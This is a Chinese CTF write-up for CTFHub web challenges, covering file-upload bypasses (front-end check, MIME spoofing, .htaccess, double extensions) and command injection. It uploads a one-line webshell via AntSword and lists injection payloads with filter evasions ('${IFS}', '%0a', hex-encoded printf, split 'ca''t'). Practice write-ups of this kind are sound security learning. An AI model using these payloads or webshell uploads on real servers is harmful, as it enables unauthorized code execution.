CTFHub之web基础刷题记录(续集)

文章目录

  • 5.文件上传
    • 无验证
    • 前端验证
    • MIME绕过
    • .htaccess
    • 双写后缀
  • 6.RCE
    • 命令注入
    • 过滤cat
    • 过滤空格
    • 过滤目录分隔符
    • 过滤运算符
    • 综合过滤练习

5.文件上传

无验证

直接上传一句话木马
CTFHub之web基础刷题记录(续集)_第1张图片
打开蚁剑,输入密码连接,注意URL地址是一句话木马的路径
CTFHub之web基础刷题记录(续集)_第2张图片
即可得到flag
CTFHub之web基础刷题记录(续集)_第3张图片

前端验证

上传.php文件,发现不允许上传,因为是js前端检验,可直接抓包绕过再改回后缀名即可
CTFHub之web基础刷题记录(续集)_第4张图片
上传2.jpg,再抓包改回2.php,发现上传成功
CTFHub之web基础刷题记录(续集)_第5张图片

MIME绕过

抓包,将Content-Type类型改为jpg,png或gif的格式即可
CTFHub之web基础刷题记录(续集)_第6张图片
这里我用jpg格式发现上传失败了,改用gif格式上传成功的

.htaccess

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
CTFHub之web基础刷题记录(续集)_第7张图片
由于之前写过类似的了,这里直接用,先上传.htaccess,上传成功
CTFHub之web基础刷题记录(续集)_第8张图片
接下来上传xxx.jpg,发现并未以jpg格式解析,而是php格式解析的,接下来一句话即可
CTFHub之web基础刷题记录(续集)_第9张图片

双写后缀

上传php发现上传成功,但php后缀被删除了,依照题目应该要双写后缀
CTFHub之web基础刷题记录(续集)_第10张图片
上传2.pphphp成功变为2.php,即可执行一句话获得flag
CTFHub之web基础刷题记录(续集)_第11张图片

6.RCE

命令注入

首先ls查看有哪些文件www.baidu.com ; ls
CTFHub之web基础刷题记录(续集)_第12张图片
发现有216872332227313.php,cat一下www.baidu.com ; cat 216872332227313.php,然后在源代码发现flag
CTFHub之web基础刷题记录(续集)_第13张图片

过滤cat

127.0.0.1 ; ls先查看文件,发现了flag_169413020618490.php
CTFHub之web基础刷题记录(续集)_第14张图片
发现cat被过滤了,那么我们就要构造cat,在linux下可尝试构造
CTFHub之web基础刷题记录(续集)_第15张图片
127.0.0.1 ; a=ca;b=t;$a$b flag_169413020618490.php,在源码得到flag
CTFHub之web基础刷题记录(续集)_第16张图片

过滤空格

先进行过滤空格总结,在linux环境下进行试验
1:<> 2:< 3:${IFS}
CTFHub之web基础刷题记录(续集)_第17张图片
由于${IFS}没有什么问题,用它来解题,同理先查看文件 127.0.0.1;ls
CTFHub之web基础刷题记录(续集)_第18张图片

然后读取flag 127.0.0.1;cat${IFS}flag_23126758913777.php,源码得到flag
CTFHub之web基础刷题记录(续集)_第19张图片

过滤目录分隔符

首先查看文件127.0.0.1 ; ls
CTFHub之web基础刷题记录(续集)_第20张图片
发现有flag_is_here,我们要进入目录下拿flag,127.0.0.1 ; cd flag_is_here ; ls
CTFHub之web基础刷题记录(续集)_第21张图片
然后将ls改为cat flag即可127.0.0.1 ; cd flag_is_here ; cat flag_1918363312881.php,源码得到flag
CTFHub之web基础刷题记录(续集)_第22张图片

过滤运算符

和前面的题一样,思路一模一样。。。。这里没有过滤 ;差评。127.0.0.1 ; ls
CTFHub之web基础刷题记录(续集)_第23张图片
127.0.0.1 ; cat flag_225062507519043.php
CTFHub之web基础刷题记录(续集)_第24张图片

综合过滤练习

CTFHub之web基础刷题记录(续集)_第25张图片
这就真的全过滤了,这里就要用到另外两种命令分隔符了%0a(换行符) 、%0d(回车符),并且在url下写入:
?ip=127.0.0.1%0als#
CTFHub之web基础刷题记录(续集)_第26张图片
接下来查看flag_is_here文件夹,我这里使用Hex编码查看,
?ip=127.0.0.1%0als${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65")#
在这里插入图片描述
CTFHub之web基础刷题记录(续集)_第27张图片
得到了flag的文件名,接下来就是读取了,由于过滤了cat,可以用ca''tca""t来绕过,并且对下面进行16进制编码
ip=127.0.0.1%0aca''t${IFS}$(printf${IFS}"\x66\x6c\x61\x67\x5f\x69\x73\x5f\x68\x65\x72\x65\x2f\x66\x6c\x61\x67\x5f\x36\x33\x31\x38\x31\x35\x30\x35\x33\x33\x34\x2e\x70\x68\x70")#
在这里插入图片描述
CTFHub之web基础刷题记录(续集)_第28张图片
总之技巧很多,可以参考文章:关于命令执行以及常见的一些绕过过滤的方法


你可能感兴趣的:(刷题)